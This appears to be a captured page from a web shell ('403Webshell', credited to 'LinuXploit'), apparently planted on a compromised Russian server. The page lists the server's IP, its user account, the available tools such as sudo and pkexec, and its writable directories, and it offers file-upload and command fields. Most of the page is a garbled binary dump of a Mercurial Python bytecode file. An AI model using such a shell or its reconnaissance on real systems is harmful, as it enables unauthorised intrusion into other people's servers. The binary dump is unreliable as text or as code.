403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/remotefilelog/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/remotefilelog/__pycache__/shallowbundle.cpython-39.opt-1.pyc
a

�+�b�+�@s�ddlmZddlmZddlmZmZddlmZm	Z	m
Z
mZmZm
Z
ddlmZmZmZdZdZdZdd	d
�ZGdd�de	j�Zd
d�Zdd�ZdS)�)�absolute_import)�_)�bin�hex)�
bundlerepo�changegroup�error�match�mdiff�pycompat�)�	constants�
remotefilelog�shallowutil�Nc
cs�t|tj�s4t||�j||||d�D]
}|Vq$dSt|�dkrN|��VdSt�||j�}|�|d�d}|�	d|�t
�t|�d�D]>}	||	||	d}
}||�}|�|||
|�D]
}|Vq�q�|��VdS)N��unitsrr)
�
isinstancer�super�group�len�closerZ	sortnodes�parents�insertrZxrange�	nodechunk)
�cls�self�nodelist�rlog�lookupr�reorder�c�p�i�prevZcurr�linknode�r&�G/usr/lib64/python3.9/site-packages/hgext/remotefilelog/shallowbundle.py�shallowgroups 

r(csNeZdZ�fdd�Zddd�Z�fdd�Zdd	�Z�fd
d�Zdd
�Z�Z	S)�shallowcg1packercs.t�|j�rd}tt|�j||||fi|��S)NF)r�	isenabled�_reporr)�generate)r�
commonrevsZclnodes�fastpathlinkrev�source�kwargs��	__class__r&r'r,9s
��zshallowcg1packer.generateNcCstt|||||d�S)Nr)r(r))rrrrrr r&r&r'rAs�zshallowcg1packer.groupc	s�z|\}}}Wn"ty0|\}}}}}	}
Yn0t�|j�r�|j�t�tj�rvtj��d��jrrt	j
ddd��gS|�|�}|tkr�t
�fdd�|D��}tt|�j|g|�Ri|��S)Nsfooscannot pull from full bundlessuse `hg unbundle` instead)�hintcsg|]}��|�s|�qSr&)�shallowmatch)�.0�f��repor&r'�
<listcomp>\�z2shallowcg1packer.generatefiles.<locals>.<listcomp>)�
ValueErrorrr*r+rrZbundlerepository�fileZ_cgfilesposr�Abort�shouldaddfilegroups�NoFiles�listrr)�
generatefiles)rZchangedfiles�argsr0Z	linknodesr-r/Zmfdictsr.ZfnodesZclrevsZfilestosendr1r7r'rAFs4�
�
���zshallowcg1packer.generatefilescCs�|j}t�|�stS|dks$|dkr(tS|dkrV|j�dd�}|dkrJtS|dkrVtS|jp^g}|dksp|d	kr�tj	|vr~tS|j�
td
��tStS)Nspushsbundlesstrips
remotefilelogsstrip.includefilesslocalsnone�servespullspulling from a shallow repo
)
r+rr*�AllFiles�uiZconfig�
LocalFilesZ_bundlecapsr
ZBUNDLE2_CAPABLITY�warnrr?)rr/r8ZcfgZcapsr&r&r'r>cs$


z$shallowcg1packer.shouldaddfilegroupscs^t|tj�s tt|��|||�S|j}g}|D]*}|j|j|d�}|��|vr.|�	|�q.|S)N)Zfileid)
rrrr)�pruner+Zfilectx�filenameZlinkrev�append)rr�missingr-r8�resultsZfnodeZfctxr1r&r'rH�s
�zshallowcg1packer.pruneccs�d}||jkr(|�|�}t�t|��}n|�||�}|�|�\}}|�|�}	|�||||||	�}
|
|7}
t|
�t|�}t	�
|�V|
V|VdS)Nr:)�nullid�rawdatar
ZtrivialdiffheaderrZrevdiffr�flagsZbuilddeltaheaderrZchunkheader)rZrevlog�nodeZprevnoder%�prefix�delta�p1�p2rO�meta�lr&r&r'r�s


zshallowcg1packer.nodechunk)NN)
�__name__�
__module__�__qualname__r,rrAr>rHr�
__classcell__r&r&r1r'r)8s
r)c
Ost�|�s&|||||g|�Ri|��S|j}z�|dkr�|�d�}d}	d}
|pNgD]V}|�d�r~|td�d�}|r�|�d�}	qP|�d�rP|td�d�}|rP|�d�}
qP|	s�|
r�t�|jdd|	|
�|_n
t�	�|_|||||g|�Ri|��W||_S||_0dS)NrC�
bundlecapssincludepattern=�sexcludepattern=r:)
rr*r4�get�
startswithr�splitr	�root�always)
�origr8Zoutgoing�versionr/rBr0�originalr[ZincludepatternZexcludepatternZcap�rawr&r&r'�makechangegroup�s4



�
�rfc%	st���s(|�||||g|�Ri|��Sd}t�}	i�g��jjtd�|d�}
|��}|s^�q|d}�j�d|�|
����	|�s���
|�}
|��}|
�|||�qNd}|�
|�}|s�q�|d}|�||f<��||f�||	vr�|d7}|	�|�q�|durNt�td���qNt������fdd	�}d}g}�D]h\}}�||f}|d|d
|dg}|D]6}|�jk�sf||f�v�r��qf|�|t|�f��qf�q8�j�|���r��d�\}}||f�v�rԐq�|d7}|t��dk�r�t�td�����
|�}
�||f}|\	}}}}}}}}}|||||��s<�q�|
�|�}t�||�} t| t��sft| �} t�| �\}!} d
|!v�r�|!d
}"t|!d�}#||||"|#��s��q�||fD]&}$|$�jk�r�|||||$��s��q��q�|
�| |!||||���||f�d}�q�|
��t��|fS)Nrsfiles)�totalsfilenamesadding %s revisions
rs#received file revlog group is emptycsN|�jkrJ||f�vrJ||f�vr&dS��d||f���d||f�dSdS)NTrF)rMr)r6rPZdepfZdepnode�Z	processedZqueuer8Z
revisiondatasr&r'�	availablesz&addchangegroupfiles.<locals>.availabler�scircular node dependencyscopyscopyrev) rr*�setrEZmakeprogressrZ
filelogheader�debugZ	incrementr4r<Z	deltaiter�addgroupZ
deltachunkrJ�addrr=rMrZfileserviceZprefetch�poprrNr
Zpatchr�bytesZ	parsemetarZcomplete)%rbr8r/ZrevmapZtrpZ
expectedfilesrBr0ZnewfilesZvisitedZprogressZ	chunkdatar6ZflZdeltas�chainZrevisiondatariZ	skipcountZ
prefetchfilesrPZ
dependentsZ	dependentrSrTr%Z	deltabaserRrOZsidedataZproto_flags�base�textrUZcopyfromZcopynoder"r&rhr'�addchangegroupfiles�s�
	




�

rt)NN)Z
__future__rZmercurial.i18nrZmercurial.noderrZ	mercurialrrrr	r
r�r
rrr?rFrDr(Zcgpackerr)rfrtr&r&r&r'�<module>s 
j

Youez - 2016 - github.com/yon3zu
LinuXploit